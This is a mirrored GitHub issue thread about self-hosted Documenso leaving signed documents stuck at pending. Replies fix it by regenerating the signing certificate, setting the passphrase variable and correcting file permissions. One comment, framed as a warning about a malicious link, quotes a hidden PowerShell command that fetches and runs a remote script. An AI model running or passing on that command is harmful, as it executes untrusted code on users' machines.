mirror of
https://github.com/documenso/documenso.git
synced 2026-04-25 05:46:01 +03:00
Closed
opened 2026-02-26 18:46:50 +03:00 by kerem
·
28 comments
No Branch/Tag specified
main
chore/translations
feat/signing-required-field-colors
feat/add-field-overflow-settings
chore/extract-translations
release
feat/public-completed-document-access
feat/bulk-download
docs/signing-reminders
feat/document-file-conversion
feat/prefetch-intent-navigation-links
fix/lint-project
fix/replace-linter-with-biome
fix/security-improvements
perf/dynamic-import-posthog
deps/vite-8
chore/migrate-eslint-prettier-to-oxlint-oxfmt
chore/migrate-to-pnpm
feat/add-pdf-image-renderer
feat/add-embed-v2
fix/extract-emails
feat/table-toolbar-filters
copilot/sub-pr-2478
fix/recipients-send-500
feat/external-2fa-codes
feat/protect-signing-urls
fix/checkbox-checked-values
duncan/legacy-api-endpoints
chore/block-po-files-locally
fix/default-embed-v2-document-rejection-to-false
fix/fields-dialog-title-description
copilot/sub-pr-2323
copilot/sub-pr-2267
exp/autoplace-fields
chore/server-hostname-config
fix/template-add-signers
fix/add-field-drag-drop-colors
fix/envelope-updates
feat/allow-formdata
archive/1.13.2
copilot/add-billing-section-account-page
fix/field-coordinate-bounds
feat/update-user-via-admin-dashboard
feat/expiry-links
feat/team-dashboard
feat/change-radio-direction
feat/admin-create-user-with-org
archive/v1.12.11
feat/envelopes-polish
feat/add-attachments-reworked
fix/font-size-fields
feat/improve-resend-dialog
fix/download-certificate-audit-log-safari
fix/duplicate-document-by-id
feat/document-table-filters
fix/template-migration
exp/effect
fix/migrate-template-metadata
exp/keyboard-signature
feat/document-2fa-redo
feat/add-attachments
feat/billing-redirect-flow
fix/add-api-logging
fix/duplicate-document-template-review
feat/handle-redirectto-param
feat/document-processing-status-indicator
feat/customize-doc-audit-log-certificate
feat/document-2fa
feat/organisations-backup-pls
feat/audit-logs-on-completed-document
chore/webhook-trigger-multiselect
exp/bg
chore/single-signer-wording
fix/template-uploading
feat/bin-tab
fix/staging-test
feat/rr7
squish/rr7
archive/nextjs
power-signer
fix/field-placements
fix/team-member-invites
fix/checkbox-field-bugs
fix/leaderboard-query
fix/zapier-list-documents-endpoint
feat/dictate-signers
feat/allow-same-signer-email-multiple-times
wip/rr7-next
experiment/self-sign
fix/oidc-login-error
feat/document-qrcode
feat/mau
feat/copy-links-audit-logs
chore/december-dep-upgrades
wip/rr7
wip/rr7-auth-package
wip/rr7-better-auth-demo
experiment/what-if-user-ids-were-strings-instead-of-numbers
fix/refactor-api-routes
feat/add-owner-completed-email-setting
fix/embed-whitelabel-colors
feat/delete-archive
fun/sign-with-nose
expiry-links
chore/openpage-viral-metrics
fix/sitemap
feat/signing-reminder
feat/automated-fields-signature
feat/add-polish-translations
staging
fix/open-page
openpage-api-deploy
feat/pulumi
chore/angular-embed-docs
exp/next-15
chore/select-signer
feat/save-data-on-blur
feat/save-recipients-on-blur
feat/signature-color
feat/team-email-template
chore/documenso-url
chore/add-ctas
fix/docker-setup-and-documentation
fix/document-creation-timezone
feat/telemetry
feat/integration-animation
fix/render-deployment
feat/publicProfile
feat/redirect-templates
feat/passkey-dialog
fix/refactor-use-template
chore/resend-onUpdate
chore/subject-onBlur
fix/demo-trpc-duration
fix/self-signer-custom-email-message
fix/benchmark
feat/add-myself-as-signer-temp
feat/checkbox-type
feat/update-marketing-header
experiment/queue
feat/error-demo
feat/add-document-auth-options
feat/document-2fa-test
chore/status-widget
open-page-restructure
feat/document-passkey-test
chore/form-reset
fix/neon-db-migration-test
feat/public-profile
feat/launch-week-content
webhooks_plus_api
exp/custom-field-labels
feat/accept-text-signature
feat/document-version-history
fix/delete-recipient-owners
fix/whitespace-title
feat/refresh
exp/million
feat/doc-comments
ElTimuro-patch-1
feat/teams-slugify
pr/537
date-format-setting
exp/millionjs
feat/runtime-env
chore/next-14
feat/chat-with-documents
feat/plan-limits
fix/467-bugsafari-only-unable-to-copy-document-sharing-link
feat/admin-ui-manage-instance
feat/stripe-free-tier
fix/cascade-delete-share-links
feat/marketing-share-document
feat/single-player-mode-polish
feat/next-13-5-3
chore/github-templates
docs/render-deploy
chore/code-of-conduct
chore/team
feat/add-e2e-testing
docs/minor-readme-updatess
docs/dx
feat-early-adopters
feat/open-early-adopters
fix/432-signee-doc-version-doesnt-have-sticky-signing-area
fix/446-cancel-cta-does-nothing-when-a-signer-opens-the-document
fix/445-signer-name-not-persisting
feat/resend-transport
fix/incorrect-completed-stats
feat/update-email-templates
feat/mania
feat/copy-or-tweet
feat/add-design-system-page
feat/single-player-mode
feat/completed-share-link
feat/designsystem
feat/send-email
feat/custom-emails
blog/upcoming-blog-post
feat/single-player-mode-test
feat/reset-password
blog/selfhosting-blog-post
feat/redirect-signed-document
fix/og-description
feat/universal-upload
chore/readme
chore/blogposts
fix/building-documenso-description
feat/admin-ui-metrics
feat/avatar-fallback
feat/templates
feat/blog-post-next
fix/hide-user-selection
feat/disable-sign
feat/marketing-mobile-nav
chore/remove-console-log-warn
feat/add-email-field
fix/redirect-signin-to-dashboard
feat/blog-og-image
feat/redirect-on-send
feat/billing-page
feat/profile-password-form
fix/signature-color-dark-mode
feat/inbox
feat/promise-safety
readme
chore/reduce-refetch-time
feat/update-document-flow
feat/refactor-shared-components
feat/feature-flag
feat/document-authoring
feat/pie-chart-legend
feat/open-page
docs/add-gitpod-setup
docs/add-render-deploy
docs-coventional-commits
feat/table-actions
minor/updates-google-auth-refresh
feat/add-document-animation
feat/new-email-template
feat/password-reset
fix/send-error-double-send
fix/improve-stripe-webhook-endpoint
feat/support-custom-cert-paths
feat/DOC-170-add-name-field
fix/improve-general-styling
feat/DOC-210-sign-dialog-broken-on-second-opening
bugfix-#71/invalid-email-hint
chore/optimise-deps
test-pr
v2.9.1
v2.9.0
v2.8.1
v2.8.0
v2.7.1
v2.7.0
v2.6.1
v2.6.0
v2.5.1
v2.5.0
v2.4.0
v2.3.2
v2.3.1
v2.3.0
v2.2.8
v2.2.7
v2.2.6
v2.2.5
v2.2.4
v2.2.3
v2.2.2
v2.2.1
v2.2.0
v2.1.0
v2.0.14
v2.0.13
v2.0.12
v2.0.11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.7.2-rc.0
v1.7.1-rc.3
v1.7.1
v1.7.1-rc.2
v1.7.1-rc.1
v1.7.1-rc.0
v1.7.0
v1.7.0-rc.5
v1.7.0-rc.4
v1.7.0-rc.3
v1.7.0-rc.2
v1.7.0-rc.1
v1.7.0-rc.0
v1.6.1
v1.6.1-rc.1
v1.6.1-rc.0
v1.6.0
v1.6.0-rc.3
v1.6.0-rc.2
v1.6.0-rc.1
v1.6.0-rc.0
v1.5.6
v1.5.6-rc.4
v1.5.6-rc.3
v1.5.6-rc.2
v1.5.6-rc.1
v1.5.6-rc.0
v1.5.5-rc.8
v1.5.5
v1.5.5-rc.7
v1.5.5-rc.6
v1.5.5-rc.5
v1.5.5-rc.4
v1.5.5-rc.3
v1.5.5-rc.2
v1.5.5-rc.1
v1.5.5-rc.0
v1.5.4-rc.5
v1.5.4
v1.5.4-rc.4
v1.5.4-rc.3
v1.5.4-rc.2
v1.5.4-rc.1
v1.5.4-rc.0
v1.5.3-rc.1
v1.5.3
v1.5.3-rc.0
v1.5.2-rc.8
v1.5.2
v1.5.2-rc.7
v1.5.2-rc.6
v1.5.2-rc.5
v1.5.2-rc.4
v1.5.2-rc.3
v1.5.2-rc.2
v1.5.2-rc.1
v1.5.2-rc.0
v1.5.1
v1.5.1-rc.0
v1.5.0-rc.6
v1.5.0
v1.5.0-rc.5
v1.5.0-rc.4
v1.5.0-rc.3
v1.5.0-rc.2
v1.5.0-rc.1
v1.5.0-rc.0
v1.4.0-rc.0
v1.4.0
v1.3.2-rc.0
v1.3.1-rc.2
v1.3.1
v1.3.1-rc.1
v1.3.1-rc.0
v1.3.0-rc.2
v1.3.0
v1.3.0-rc.1
v1.3.0-rc.0
v1.2.3
v1.2.2
v1.2.1
v1.2.0
v1.1
v1.0
v0.9
before-prettier
0.9-developer-preview
Labels
Clear labels
Mirrored from GitHub Pull Request
Compliance
Stale
apps: marketing
apps: web
community
component: api
component: integrations
component: ui
duplicate
effort: low
effort: medium
good first issue
hacktoberfest
help wanted
needs triage
needs-replication
needs-testing
on-hold
osshack
priority: high
priority: low
priority: medium
pull-request
Mirrored from GitHub Pull Request
question
roadmap
status: assigned
status: blocked
status: in progress
status: triage
type: bug
type: bug
type: bug
type: documentation
type: enhancement
type: feature
wontfix
💎 Bounty
💰 Rewarded
💰 Rewarded
No labels
Compliance
Stale
apps: marketing
apps: web
community
component: api
component: integrations
component: ui
duplicate
effort: low
effort: medium
good first issue
hacktoberfest
help wanted
needs triage
needs-replication
needs-testing
on-hold
osshack
priority: high
priority: low
priority: medium
pull-request
question
roadmap
status: assigned
status: blocked
status: in progress
status: triage
type: bug
type: bug
type: bug
type: documentation
type: enhancement
type: feature
wontfix
💎 Bounty
💰 Rewarded
💰 Rewarded
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".
No due date set.
Dependencies
No dependencies set.
Reference
starred/documenso#395
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Originally created by @tmlmt on GitHub (Oct 13, 2024).
Original GitHub issue: https://github.com/documenso/documenso/issues/1399
Issue Description
My first test document ended up in a buggy situation: the two signees have signed but the signing process is stuck at pending and doesn't complete.
New instance, self-hosted with the production docker compose
Steps to Reproduce
Here's what I did
Expected Behavior
I expect the signature process to complete automatically after signee #2 (myself)
Current Behavior
After signee 2 signs, they see a "Waiting for others to sign" (although there's no one to wait for) and the doc is stuck at pending and doesn't complete.
Screenshots (optional)
Operating System [e.g., Windows 10]
Ubuntu
Browser [e.g., Chrome, Firefox]
Chrome
Version [e.g., 2.0.1]
1.7.1
Please check the boxes that apply to this issue report.
@github-actions[bot] commented on GitHub (Oct 13, 2024):
Thank you for opening your first issue and for being a part of the open signing revolution!
One of our team members will review it and get back to you as soon as it possible 💚
Meanwhile, please feel free to hop into our community in Discord
@falzfalzfalz commented on GitHub (Oct 14, 2024):
Same problem on my side, i'd like to add that I encounter this log:

@kbkozlev commented on GitHub (Oct 15, 2024):
I have the exact same issue, with the same logs.
@ephraimduncan commented on GitHub (Oct 15, 2024):
Can you add this to your environmental variables and let me know if you still have the same issues?
NEXT_PRIVATE_JOBS_PROVIDER="local"@kbkozlev commented on GitHub (Oct 15, 2024):
This unfortunately did not resolve the issue.
When I upload a document I get sent an e-mail to sign it, when I do so the status never changes from pending and no e-mail is sent. When I cancel a document, however, I receive another e-mail. It's a very strange issue.
I have uploaded my environment variables below.
@ephraimduncan commented on GitHub (Oct 15, 2024):
The process of sealing a document has been moved to a background job. You can find the implementation here
packages/lib/jobs/definitions/internal/seal-document.ts.The error you're encountering is likely due to the background job failing, which is unexpected.
From the env, you have set
NEXT_PUBLIC_WEBAPP_URL, can you also setNEXT_PRIVATE_INTERNAL_WEBAPP_URLto the same url? And redeploy and see if the issue still persists.@tmlmt commented on GitHub (Oct 15, 2024):
My
.envis as follows, so it already containsNEXT_PRIVATE_INTERNAL_WEBAPP_URLwhen the job fails.Without more explicit error messages, it's hard to debug as a user of the docker container.
Here are the docker logs:
@sypion commented on GitHub (Oct 16, 2024):
I am also experiencing the same issue on my end with the same log output:
@LckySndays commented on GitHub (Oct 17, 2024):
Same issue with same log output as well
@wilb12 commented on GitHub (Oct 18, 2024):
Hello,
I applied NEXT_PRIVATE_JOBS_PROVIDER="local"
Same Issue, same log.
Regards,
@gps949 commented on GitHub (Oct 22, 2024):
Most likely caused by the .p12 file issue. Who meet this problem can try below:
note: during there commands executing, set the private key passphrase and export passphrase to the same one, and remember it.
Set the env variable
NEXT_PRIVATE_SIGNING_PASSPHRASEto the passphrase in previous step.Bind p12 file with
-v ./certificate.p12:/opt/documenso/cert.p12, and set the env variableNEXT_PRIVATE_SIGNING_LOCAL_FILE_PATHto/opt/documenso/cert.p12@talhak55 commented on GitHub (Oct 22, 2024):
I'm still getting the same log, and when creating the private.key, it doesn't prompt for a passphrase. It only asks for a passphrase when exporting to PKCS12 format.
@LckySndays commented on GitHub (Oct 25, 2024):
Beware of malicious link
powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke()
@falzfalzfalz commented on GitHub (Oct 27, 2024):
Any chances someone can look into this ? There's been many reports of the bug now
@xfang2024 commented on GitHub (Oct 28, 2024):
same problem, can anybody help figure out this bug?
@Dev-dpk commented on GitHub (Oct 29, 2024):
I had the same issue . Steps followed to fix the issue
NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATHto the absolute path of certificatewww-data@dguyen commented on GitHub (Oct 29, 2024):
If you're encountering an error like this using the production docker image:
Can you please try this?
Recreate the certificate and use the
-legacyflag (look at the yellow alert here)Set the
NEXT_PRIVATE_SIGNING_PASSPHRASEenvironment variable to the password you provided when creating the certificateIf you're using docker compose, add this to the environment section in the compose file
Then update the .env file with
NEXT_PRIVATE_SIGNING_PASSPHRASEwith your certificate passwordDo not change the right hand side
Additional debugging
If you're still running into an error:
ADMINthe role of the user roles)Reseal DocumentIf you see a permission error try to chmod the cert or chown it to be the same group as nextjs 1001
Resealing document will sign the document with the certificate, so it should allow us to see the exact error instead of it being hidden in the job.
@nicko170 commented on GitHub (Oct 29, 2024):
Running into this too.
The task fails, but the document is signed, marked completed and ready for downloading if the page is refreshed or viewed.
Emails are not being sent for completion.
Signing in admin works fine, and no error is produced.
Running 1.7.2-rc.1
@LckySndays commented on GitHub (Oct 30, 2024):
@dguyen
Still same problem on my end, here is the new logs generated by the reseal button
@dguyen commented on GitHub (Oct 30, 2024):
@LckySndays could you please connect to the docker container and check whether the certificate exists as /opt/documenso/cert.p12?
@LckySndays commented on GitHub (Oct 30, 2024):
@dguyen

the certificate exist there with the following permission
@dguyen commented on GitHub (Oct 30, 2024):
@LckySndays it looks like cert.p12 is a directory? It should be a file
@LckySndays commented on GitHub (Oct 30, 2024):
@dguyen nice catch

Seems like still got same error when do the reseal (Failed to reseal document)
Should I change the permission of the file?
Edit:
chmod 777 cert.p12 seems does the trick and I have successfully signed the document
Is it the correct way to solve the issue?
@dguyen commented on GitHub (Oct 30, 2024):
@LckySndays There's also this https://github.com/documenso/documenso/issues/1171#issuecomment-2181943339 where you would set the cert owner to the nextjs user. Haven't tried this though
You could also try a less permissive setting such as
chmod 644, which should work as well?@gfmozzer commented on GitHub (Nov 9, 2024):
None of the approaches worked for me; the documents remain pending.
@InvixGG commented on GitHub (Nov 10, 2024):
Did you create your certificate with the -legacy flag?
@vinybk commented on GitHub (Nov 15, 2024):
A solution for the Issue
I encountered the same issue and was able to resolve it successfully by following the steps outlined in this thread 🎉. Here's a detailed breakdown of what worked for me, using version 1.7.2-rc.4:
1. Generate a New Certificate
I generated a new certificate following the instructions provided by @gps949.
For more information regarding the certificate, see this issue: #1171.
2. Debugging via the Admin Panel
I logged into the admin panel for debugging, as suggested by @dguyen.
When attempting to seal the document via the admin panel, I encountered the following error:
3. Error: resealDocument error Error: EACCES: permission denied
This happened because I missed the following command:
4. Error: Failed to Get Private Key Bags
After fixing the above, I ran into another error:
To debug further, I checked the container environment variables with:
To my surprise, I found that the passphrase was blank:
NEXT_PRIVATE_SIGNING_PASSPHRASE=5. Fixing the ENV Variable Issue
Even though my .env file and docker-compose configuration were correct, the NEXT_PRIVATE_SIGNING_PASSPHRASE variable was not being passed to the container. After some troubleshooting, I:
Deleted the problematic line in the .env file.
Re-added it manually (not via copy-paste).
This resolved the issue! I suspect the original line contained a special character that Docker could not parse correctly.
Here’s a visual reference:
Left (Purple): Working variable.
Right (Green): Non-working variable.
PS: How to assigning the ADMIN Role
For those needing to assign admin privileges to a user, here are the steps I followed:
Connect to the Docker Container
Connect to PostgreSQL
Remember to change user and database name if your is different.
View Users with the USER Role
Update the User Role
Confirm the Change
For more information regarding the certificate, see this issue: #1171.
Good luck! 🙌
@tmlmt commented on GitHub (Nov 16, 2024):
Thanks @vinbrun and @dguyen!
The combination of
-legacyflag (I wonder why that is necessary?),NEXT_PRIVATE_SIGNING_PASSPHRASEin the .env + compose file and correct permission for thecertificate.p12file, solved the issue.I can see that the docs and example docker compose file have been updated in this commit as part of v1.8.0-rc.0 so new users shouldn't encounter this issue if they follow the instructions to create the certificate and use the latest compose file example.
Two details though:
.envfile in the repo instead of the (too?) minimal .env content suggested in the docs as it may be confusing or incomplete (e.g. missing the SIGNING_PASSPHRASE variable or other useful ones) while the example env file is thorough and clear.cert.p12file to 1001 and it may also be confusing as the 1001 user on the host may exist and be different. A read permission also works (sudo chmod 644 cert.p12)